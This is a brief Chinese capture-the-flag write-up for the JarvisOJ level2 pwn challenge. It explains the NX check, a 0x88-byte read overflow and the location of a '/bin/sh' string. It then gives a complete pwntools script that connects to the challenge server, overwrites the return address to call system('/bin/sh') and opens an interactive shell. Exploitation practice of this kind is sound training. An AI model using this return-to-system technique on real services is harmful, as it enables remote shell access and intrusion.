jarvisoj——[XMAN]level2

题目

jarvisoj——[XMAN]level2_第1张图片

Wp

查一下基础项,32位的,开了NX保护,开了NX就没法执行自己的shellcode了。

jarvisoj——[XMAN]level2_第2张图片

ida看一下
jarvisoj——[XMAN]level2_第3张图片

常规的调用,然后看vulnerable_function函数
jarvisoj——[XMAN]level2_第4张图片

很明显的read缓存区溢出,溢出大小为0x88

很好玩的是这个题中有/bin/sh,地址为0x0804A024

jarvisoj——[XMAN]level2_第5张图片
最后溢出结果就是

0x88*‘A’(缓存地址)+0x4*‘A’(返回地址)+函数地址+函数返回地址+参数

那么最后脚本就是:

from pwn import *
sh=remote("pwn2.jarvisoj.com",9878)
payload=0x88*'A'+0x4*'A'+p32(0x08048320)+0x4*'A'+p32(0x0804A024)
sh.send(payload)
sh.interactive()
sh.close()

最后拿到flag

你可能感兴趣的:(oscp)